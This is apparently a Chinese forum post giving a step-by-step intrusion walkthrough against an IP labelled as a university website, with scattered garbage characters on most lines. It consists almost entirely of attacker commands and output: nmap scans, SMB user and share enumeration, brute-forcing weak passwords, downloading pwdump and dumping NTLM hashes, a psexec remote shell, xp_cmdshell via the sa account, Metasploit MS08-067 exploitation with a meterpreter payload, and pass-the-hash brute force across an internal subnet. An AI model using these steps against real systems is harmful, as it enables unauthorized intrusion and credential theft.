广西师范网站http://202.103.242.241/
/ u. N6 n. R5 w0 {$ o' g8 x n4 F7 `! B; q" e" X
root@bt:~# nmap -sS -sV 202.103.242.2410 m7 U, L; U/ G- a% _
, c4 n" R9 j7 P& a* J6 {9 R
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST/ v9 [* h! T, ]" k& Y- A# G
+ q: r3 W6 K9 D$ r0 X7 V! ~Nmap scan report for bogon (202.103.242.241)
5 z* u: V3 y& O4 G
5 K+ z- U& p5 v( b$ }Host is up (0.00048s latency).
5 |2 E$ a0 K, @4 }
$ Y8 b S" n! S# y0 Z! TNot shown: 993 closed ports6 F: L* v' U6 {
. o! N4 ]/ K% j* Z8 |0 U
PORT STATE SERVICE VERSION& x" W* b1 d1 Y( n: }/ t
9 C* x8 Q9 c d+ j4 U$ D) W
135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)1 b9 O& W3 t f! h, @! l) U
5 S1 C# x& O. g139/tcp open netbios-ssn1 I& I" k: S+ ?) ]. b: p
6 N' ?2 S7 ^0 A0 Y* N445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds
' R' a8 [8 h6 @, y1 d6 M9 R( r+ Q# z5 p
1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
; W/ \5 C& ~. L2 E d2 h+ i
1 z* z# j4 Y: R. Y% E0 p) |8 o- g; a% {1026/tcp open msrpc Microsoft Windows RPC
1 r4 Q! X* u) p) f% q9 M6 W) D$ L/ i6 x3 C; r; `5 G. ?# \, O0 o9 I( r
3372/tcp open msdtc?% }* M$ V* N6 F
/ z" j/ w6 \ c6 z' @; l
3389/tcp open ms-term-serv?+ H5 `* T1 q$ l, }& O$ L, m, P- S
+ Z: z* K2 N8 X: m
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :, O. }' n* w0 n7 a) W
SF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r
4 p* o' v, C) I1 C5 l
5 j: Q5 K4 b5 A6 _SF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions
- d& `5 O8 k5 G$ H; z9 N- F }" y7 f3 x) y G
SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)2 u$ ^; z+ v1 a
& M" L% A, i. P8 k* [1 q" W6 Z7 ?/ z
SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO
9 l0 l. {) X7 I8 R& T9 ?2 c- s
; ]; u' M+ r: T' pSF:ptions,6,”hO\n\x000Z”);3 o! _. F+ B6 A- z
$ b5 x/ n9 ]/ d( S0 G% a' R
MAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)5 x( A+ l2 R3 C6 |9 q) o) P
* l6 w' D. l. v8 ]: R9 N. e" H" MService Info: OS: Windows
: _7 m2 s c8 C5 R U0 m x3 R' D8 Y* X1 H+ u/ l$ g
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .0 r0 \: q; H: u$ N, d9 e
9 y. u8 E! ^2 U& O) I5 }
Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds$ Q) o& ~! H5 N c4 z
) f1 x L6 W Y7 L0 l" [; ?9 Rroot@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本
! \( f+ @1 C4 {* Q6 N, \# k
) [+ E, h9 C! v: E) P% Q) T8 F-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse. J$ ]' \! \! P0 |$ F1 ~
' i' ?9 P$ x- D2 A- U+ n8 `0 V
-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse4 m, i+ u3 K Y2 M, `9 z
; E7 u( q- L( a' \# e) ^-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse
# B9 I2 D$ b; W- \) v; ^
& V& { s8 F! R0 i; p-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse
9 s( ~) d: I# f( s/ r
$ P5 R4 r" e2 d2 I9 _-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse
0 B% {& R l8 A6 A8 K" s3 ?5 n7 r! r% L3 ^! o1 O/ t& G
-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse3 Y. [: n8 Y6 X' Z6 `5 W4 @
) }5 `5 f6 O, k/ O$ Q% O- B& B-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse# h7 m1 ]! K" O( e
; R: N# B: Z8 s u/ ^* d% s-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse) o4 |" h% w1 G+ R# U
s) C# u- x. ^, ]' ~-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse" N" \# [2 E2 J- \3 s
8 B6 {2 `/ t0 d/ V j" x# y$ Y-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse( M/ D/ U. G0 U4 K$ x
) f/ `2 }' J- ?. |- B. A {4 p
-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse3 E' m! S, {# j- c# J! f0 {
; ]3 y: G7 l1 t" T+ K. t4 a F1 H-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse2 B3 l1 \8 Q7 r8 s( P
! s3 E3 y0 u$ [, l& Y
-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse3 b0 l/ g( [$ L) G! \, g7 Z2 e
& I" y* x6 b( ~! r( ~* v1 Z-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse
5 V( r- T! Z# E% I
d2 Q+ P6 H. h-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse
9 |# j1 G. p2 H Q9 i
2 I; T( _' u+ z# }root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241
: E6 I% x! K/ m9 P/ T$ F8 A( j8 k* ` A% V' k/ @
//此乃使用脚本扫描远程机器所存在的账户名& D1 h$ I3 k" n2 x* h* T
! K8 }' t* X k! O0 Y. qStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
) W5 ^! m) w# C2 i- @) {, B1 Y5 ~% `; k% ^/ R% X7 I
Nmap scan report for bogon (202.103.242.241), @+ x2 \8 t: U4 H
( E6 t, @+ W$ v$ pHost is up (0.00038s latency).
- _9 `: l- ?) |; c5 `. _! t: e6 H/ g: o3 R! g: P
Not shown: 993 closed ports
1 @ S" k, c: d' H
7 \6 V+ f( o! R o, u" lPORT STATE SERVICE& N" r- \. ?2 M) ]
8 _0 ^. K% e3 ~& V& I
135/tcp open msrpc
4 l) {' y% d( \, {: U2 s0 d) k4 _& \" z5 Q7 G5 Z! R
139/tcp open netbios-ssn- r- F6 G4 u5 T6 g6 o& r0 [6 Q
, \2 N% j2 A( N/ r4 \, o
445/tcp open microsoft-ds7 J$ O/ K/ K: i! s
$ w+ m% ?# b6 n9 C( O
1025/tcp open NFS-or-IIS
" }0 e O" y; W5 K
1 I! }( z+ G6 H, ~, v' [% u1026/tcp open LSA-or-nterm
8 _ q! f! M/ |4 g. d$ }; o* `4 H
6 O! c* i% d- d) O& l3372/tcp open msdtc+ |1 l# V$ H+ f0 o
7 r+ x, T2 y% P/ V9 N" n3389/tcp open ms-term-serv/ {; F% ~4 {. @4 W3 V5 p
. N4 Y' c' |$ ^3 ]2 t& ZMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems) y! p) d- C7 }5 Q" J" W
( S3 v' K$ F& K* p# @* mHost script results:
! E) O+ }/ Y/ _
& R' N' Z3 Y/ v6 \| smb-enum-users:& M3 B; E5 L5 D- X* O
+ S% v2 A; A3 @4 [5 q- x R|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果
+ J9 L+ w3 i+ I7 ^4 c) q/ W
) J6 Q: g) y" B& ^- X4 i$ PNmap done: 1 IP address (1 host up) scanned in 1.09 seconds
% h% T, }# R4 m! r9 \# m
+ }9 }, }# C T5 D! rroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241 / u5 t% U+ K( b3 O
- O# O2 j: A4 @5 f
//查看共享
7 K( O7 i) O! ^0 h" N: R# q9 X3 f, C b2 D c0 ^6 E( n) t
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST
0 B3 \/ Z! X2 ^0 Y/ g2 _; D2 r1 j
Nmap scan report for bogon (202.103.242.241)
2 W( x/ }: w8 ~7 K$ }6 w! D; t, S) v3 r% n8 K
Host is up (0.00035s latency).
' v; H' k/ O9 f7 [& U. s2 V) i: G! ?/ Y9 |, B( u
Not shown: 993 closed ports" }0 W1 e8 M' B: r) o
1 P: K# z8 P( W3 c* K& ~; g0 i2 i, l
PORT STATE SERVICE9 p7 V4 T$ h+ i2 V* w
) R: y' T3 e1 y+ ]0 v+ J1 @4 B
135/tcp open msrpc
. Z, U+ b0 P2 r) @- W4 e; C* U0 G `- G
139/tcp open netbios-ssn
& p" u* t, d& q; m# t% o. d' S4 a$ h/ r: p
445/tcp open microsoft-ds
1 V( j" b1 Q& H: w! J/ F3 X' y/ k6 z2 h; {4 K+ j8 v5 l
1025/tcp open NFS-or-IIS2 t% z7 Q( s+ X. w0 W& Y4 y
9 Y7 Y( [' \# K3 ~" N1026/tcp open LSA-or-nterm
% d! t, P# |0 @- u) O. u
: x! X1 ]" y2 Z3 I) H7 q% W3372/tcp open msdtc$ q6 w: u" }' C# W: L# V0 c
2 B4 |0 N9 A% {; f! w* c0 Q
3389/tcp open ms-term-serv
2 k& C* _/ B7 J' X/ A* U9 F* x2 H! B* ^& c5 i
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems): t/ J) Z7 ?5 p! h# q9 w) V
/ h3 R& B9 c% e. W7 }Host script results:
* n3 S8 m# h& ~% J
0 |# |& ?' u- O0 T Q# g4 P| smb-enum-shares:
6 _% U3 s f2 @. F2 O6 h7 y1 `" h) o/ h7 w9 N4 Y7 I- [2 U8 h1 m
| ADMIN$3 Q B% `0 B+ e. [4 y6 U0 H
% L$ Y0 {; N3 l U0 O3 Z| Anonymous access: <none>- ]+ F8 e1 W* i! W* _. H; X$ s
) k( _6 v) L2 y$ I| C$
! O* p7 n) C d! v% ~) u5 p# e1 ]; m: _" N, f# r- `2 C
| Anonymous access: <none> E* s9 w* m/ d0 ~# X y
3 G/ |. d; [" v4 U |; ?! E
| IPC$
( X( j }* N9 @/ f. |% }( h$ E& `4 h g4 H/ u( _$ _- X
|_ Anonymous access: READ" W8 d4 P& Q5 O U) K0 U4 `
" F, B, c/ G; W' A( I6 g/ j
Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds1 E5 H# x. y; V( o1 C) j# M
7 s! S% k, l. }1 ^( oroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241
4 H' F0 A2 D9 X& [, G: Q5 u
' I& |: r: m! k8 |- K c//获取用户密码
+ `. ] ^9 N c. |3 P1 A+ f2 r4 p0 Y. J n5 X; ~ `7 F4 ~
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST7 S* o+ v6 c, o! s
& | _( @5 d; l4 ]
Nmap scan report for bogon (202.103.242.2418); G2 {, {, a6 F4 S* C. F
$ O; @1 ~/ y6 q- s
Host is up (0.00041s latency).$ r. w, b' E& a5 N* }: k
* N) w1 y3 `6 _4 w0 e: ZNot shown: 993 closed ports% ]: N" K) k. U6 I) G Q) ?6 }+ {
# M6 [1 `1 G% q$ `# L
PORT STATE SERVICE7 a+ Y$ d) a: I; {, d
) f. S5 f( |" x& {% s
135/tcp open msrpc5 H( b1 F6 }9 x7 ]9 t# H2 }+ B, g
0 O# B e8 o. a4 f/ p8 y
139/tcp open netbios-ssn
) B# s9 G$ _, d! X! Y S( n$ \: v( \
445/tcp open microsoft-ds9 B! ]. Q/ h! E) d; A
8 ]$ _9 e" R3 C$ F: I9 J1025/tcp open NFS-or-IIS3 ^7 g7 O N+ ?5 s7 B9 r
. h( ?4 ]; F3 U1026/tcp open LSA-or-nterm
" ~' I, ]& f$ n4 Q( C! \5 O- o+ G, f; }5 s4 ]) K" a
3372/tcp open msdtc
* _3 ?% N1 l& W5 L( k( t
+ W/ S1 o; J' U5 p- k3389/tcp open ms-term-serv2 V4 A5 l: H4 l( d
- G5 M( j: r0 i, H3 Z& o) \
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
+ ]0 l9 \7 H L: T* {* D* L2 v1 W& \, R9 g& h- g
Host script results:
2 P8 j. x! v+ a3 C- K: I, B! ?- I: Z2 j1 j1 |, Z1 g0 E
| smb-brute:
: d% Q$ H' x5 q% W4 T2 S
* l; G3 X6 `" x* d" V' y) ladministrator:<blank> => Login was successful- J. y+ N- K! A$ s2 D% ~$ h! G+ R
5 B( @6 O+ R3 | A7 t9 D9 @( V+ c7 J3 I
|_ test:123456 => Login was successful
7 _$ p: A1 {* n/ L$ i4 g) H* T& v6 X, P2 {: `1 f1 z/ X# I# D
Nmap done: 1 IP address (1 host up) scanned in 28.22 seconds/ m! D" V8 G: I7 n' l
. F' q6 n) y1 \% B) w
root@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
* ?5 K/ E+ k* H" i8 Q. }1 b3 V$ B6 g; l: D) w+ K; o
root@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data
5 ^7 ]6 F, s& \3 ~ l5 R# B2 ~7 m" G+ H% C* B" k
root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse2 X4 A- z/ B, o" I4 S$ L
: K8 b8 z: Y: W( kroot@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139
6 m& T; {1 m3 U7 O7 _, f6 B
9 d9 P. Q# D4 D! j: \) i7 R" pStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST8 Q6 H; ]; ? A4 d- j
8 T' W3 x0 `7 p$ _
Nmap scan report for bogon (202.103.242.241)
% u, R0 L. ~1 D$ `8 ?
- R; c0 k# z$ b6 ^- R- uHost is up (0.0012s latency).' ^0 P" U$ V5 g }& j$ x b/ U
4 W: `- H5 _4 y; q6 T
PORT STATE SERVICE
1 ?5 R8 ?1 b9 m) ^4 F2 S# ~$ j2 i& m' z3 d
135/tcp open msrpc
9 i- V# y6 g( a3 x& f7 c* B
# m8 a% l$ G7 m5 D" e% O- d9 @139/tcp open netbios-ssn
: S7 E- j( V% u! N0 |
( B7 p/ d: r* ]# d; `( w445/tcp open microsoft-ds
, {" O3 a, R7 _" i! F V0 \0 M% O2 j
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
5 k+ [: a6 O8 e
* e" F$ P$ W$ @# M2 |Host script results:* j' k) t$ X- o- x1 Q2 \) h' E
! Q8 T) N9 S. B8 @9 ]7 k T| smb-pwdump:3 U& y- P O3 \) G6 W0 @8 K, J
4 X( `$ ^8 U8 u1 @4 m4 S6 B; x
| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************
( f4 L! U6 T8 f" @5 H1 y0 |, f% g8 x2 ?" ^; a3 d
| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************, L) q; L5 f& s! G& N( z( X8 f
$ w8 J# r% T5 S& U6 y. g1 p: L$ t9 p
| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D49 H' N) Y0 G9 W6 g: b! R( g
6 C; X! {6 m( V& a
|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
' H- R; F0 j" D) e7 N' }7 I3 ]2 |/ h% G9 O8 R$ w: y
Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
) W# O0 O Q8 p
( i: D1 Y! n) N0 y3 W* f6 B( o. cC:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell
2 Z. T+ [9 @+ D/ Y: O
. f. V# k M9 S) J-p 123456 -e cmd.exe
1 l- |' z U, n" @) c' {- E! x1 ~+ ]/ T( A' m9 o/ L* h/ p. u& f
PsExec v1.55 – Execute processes remotely5 Z( ~# j+ E! a8 e9 H/ A. N& {5 b
( D# \+ g' f5 L& W6 C
Copyright (C) 2001-2004 Mark Russinovich8 k4 m% b5 S/ F5 f8 Y
3 ^, E. g6 U5 C2 M0 R$ }5 \
Sysinternals – www.sysinternals.com% I* ]% H3 M+ E0 U
' S* ^& |( m" }0 z+ T% L1 k9 J
Microsoft Windows 2000 [Version 5.00.2195]
2 j+ _( ^4 Y7 ]9 {% I0 d9 Y0 f( J+ g8 z7 \0 d6 [: o% N2 w
(C) 版权所有 1985-2000 Microsoft Corp.
8 T0 ~8 e2 O7 }0 q& ?' Y3 l9 C2 h+ z1 e; `2 w( g. A
C:\WINNT\system32>ipconfig) Y! x& m Q/ g& ~" j
' D4 M; M% d+ ?" r" E9 p
Windows 2000 IP Configuration
0 T. k$ a9 [* W6 i
# D; {$ h4 H/ H4 o% z8 uEthernet adapter 本地连接:) p% Z& f' s# @% O# k: Z, `
! R5 _9 D# v) w3 i, ~+ c; Y5 E* L
Connection-specific DNS Suffix . :
& X' K6 M& G7 L8 l+ M. z& A: W: r( o; e/ {: t
IP Address. . . . . . . . . . . . : 202.103.242.2410 m, x+ Z1 n3 l9 ^
7 l/ ^$ d* e+ H2 q$ h& s1 `Subnet Mask . . . . . . . . . . . : 255.255.255.09 {) N0 b0 X: A4 Z
2 u# N$ _9 I9 f9 G) c) wDefault Gateway . . . . . . . . . : 202.103.1.1. W3 i, @& v& u7 z9 l; N) @
) Y$ m9 o8 B# B }: Z8 ?C:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令
' j; K7 Z4 b3 F7 e
5 O' r; j( G* wroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞# g% z: [( M# U7 D& j
9 f( q$ `2 U( Q w
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
N+ S5 k6 R4 r+ A- R E2 {
" S1 T: p, X% j' a! ]( ?7 `/ nNmap scan report for bogon (202.103.242.241)
/ o2 N( C' U- r( X3 T
; F) @) `2 j; @' ]8 B+ t! OHost is up (0.00046s latency).
7 |9 x$ n% i* T& I. G) ]3 h$ x6 D
Not shown: 993 closed ports+ t2 O; O* [5 b7 k% x
( h, Q7 X6 Y$ m8 [1 h$ \PORT STATE SERVICE
& R! k: Z& D3 W" l# q& n& D$ ?8 ]; X8 o1 g2 H% {' h
135/tcp open msrpc2 n0 F7 e5 C& W/ p
, @7 t) a. q( L) t2 C7 q
139/tcp open netbios-ssn
0 C& z, T9 ~! ^1 w3 I' Y% A
+ E2 W% [/ k# o, ~( [445/tcp open microsoft-ds8 h, |; O' z% j+ `& U
; A+ w: @2 c( t0 x' f/ R
1025/tcp open NFS-or-IIS1 i( N! @+ y3 b7 v) n8 p9 _, L
k; h2 C, |, y* g ^9 [1026/tcp open LSA-or-nterm
* ]! c O/ Z6 B
. S7 l. V) |. ]+ b8 G& q8 r3372/tcp open msdtc( |0 R5 {6 \5 M, f& B' W
: }8 J5 n# l4 { }8 w
3389/tcp open ms-term-serv: u( u# j' _- ~3 I& w2 i) t! X% m7 r: M: V3 S
( ^1 T, h- b8 ^# _MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)2 c9 J# _8 a1 H# O
+ U$ [# \9 `0 QHost script results:
) r1 H; t" {3 k: D( { M. y# H- ?; X! W; E. X8 F
| smb-check-vulns:5 p- V0 l7 B0 \
7 `4 W1 z+ ~9 n0 j3 k- p
|_ MS08-067: VULNERABLE2 A9 U/ r" ^0 `6 e7 R( c* y' _
9 @2 K# C" a+ J' y0 a; yNmap done: 1 IP address (1 host up) scanned in 1.43 seconds
# m. `0 U6 {7 W# r# r! ~# E* \5 D6 W Y
root@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出8 W9 `4 e/ o; P
7 }0 O% u' u4 H' |4 ^* b; u2 }! l! pmsf > search ms08: X9 ~5 h$ c* f
/ S6 e9 p, W2 C- R
msf > use exploit/windows/smb/ms08_067_netapi0 o2 c" m# j) f
0 b, }6 p4 s* o1 x2 Q4 c6 Bmsf exploit(ms08_067_netapi) > show options" q! G$ K3 d: N2 Q. x
5 f# |" L# w/ d" T' Z5 Hmsf exploit(ms08_067_netapi) > set RHOST 202.103.242.241
# G: h. y: a/ L e* c, `3 b7 ?6 L5 p
msf exploit(ms08_067_netapi) > show payloads
6 x" o& U% a- `8 A! g5 }) s" [; C1 c4 F# N# s
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
9 Y; y6 [. R) O# B0 h
" {! ?: R) X0 pmsf exploit(ms08_067_netapi) > exploit2 w/ }# F# U( `6 r) d/ a% \1 _5 @
% M0 e0 q2 j8 \+ `# v
meterpreter >
R6 t" X3 ~+ ]4 a- O. q5 r9 L0 ?3 q0 d. l2 S5 T& r- I% m# W
Background session 2? [y/N] (ctrl+z)
& Z$ ?& t+ C) m0 K! A6 T+ ]5 h* f
& q/ W5 X; L7 \/ J# |# bmsf exploit(ms08_067_netapi) > sessions -l8 }- r. o/ W) R9 [5 C
# u* U3 z- |; q4 Proot@bt:/usr/local/share/nmap/scripts# vim usernames.txt
5 C; g9 S8 L, Y' r5 j" y+ h+ F9 k! O
4 U. n% t4 a0 J% w( D' qtest
~* W0 T) X/ q6 m4 \9 I# v8 t: {$ x, K0 P* r# X
administrator2 |) e" |8 _$ N$ S
4 X4 X4 v# n) n! Jroot@bt:/usr/local/share/nmap/scripts# vim password.txt; {- H9 ~0 M' h5 E
. _6 ?/ |: h0 c: q {; g" g( @ ~
44EFCE164AB921CAAAD3B435B51404EE0 }5 A! B( d3 G2 I2 F% u
0 w- `; s$ \) z: |5 P
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
3 p7 j4 Z: y* f K- Y, l2 M# o% b- K/ Y+ t0 Q; J
//利用用户名跟获取的hash尝试对整段内网进行登录
- Y. J% n& k# D. F
R& R% d! a; G$ }& V5 RNmap scan report for 192.168.1.1055 c& g$ k, j- f8 k, E2 A
/ ?+ w) q6 X @" i4 N( F
Host is up (0.00088s latency).
- D5 R7 x* Q+ y2 \3 ?" i3 u8 k5 F {% [ u
Not shown: 993 closed ports) k- _) O- o! J( J4 X1 y
. A3 C! c1 s Z4 aPORT STATE SERVICE$ y6 S, \6 U( S0 n, e
, }* Z$ m" c8 F$ f$ }+ e7 N* l135/tcp open msrpc0 L* o& B4 ^: s
- e" Q6 A m+ K; x- q. t5 P$ v
139/tcp open netbios-ssn# T" B$ ~' J% o' w! x& A. `
- I' ]5 @% Z5 w/ m+ F; w8 J
445/tcp open microsoft-ds
+ p: i3 M3 C) K, N. G9 n$ G/ [& C+ \
1025/tcp open NFS-or-IIS# t6 {' J+ x* Y3 p* R. V. X
% B/ H/ g5 ~# p1026/tcp open LSA-or-nterm
- Q% z4 L. l j9 X+ ?' Q, n6 x( @: O5 M
3372/tcp open msdtc' [% W4 C; O: N: S: a" X
, G2 q. f! n6 ~2 v7 H/ ?. }
3389/tcp open ms-term-serv$ H7 S" b3 \' I, s- p$ k% _8 U( y
$ F4 a: X0 B3 R* n5 ^MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
* w- N2 T) [% R7 V; `$ r' D
- u4 V3 |2 `) A5 Y: v9 q* JHost script results:# _& x, F/ V- r. @) I. b
: _; g S" R* F4 v! r) H; t- f/ g/ s
| smb-brute:# J4 n9 |" @7 I4 S9 y$ ~2 v0 ?
$ [" I" d% z3 K% t" r1 Z
|_ administrator:<blank> => Login was successful- q: \# j$ b( X3 }: K
. K2 y& [- C, F9 r% ?$ A! I攻击成功，一个简单的msf+nmap攻击~~·1 i4 G- [( a; y5 h) A) h/ J
5 P' r. L; w+ t `% Y- h1 k
|
发表于 2012-12-4 12:46:42
收藏
支持
反对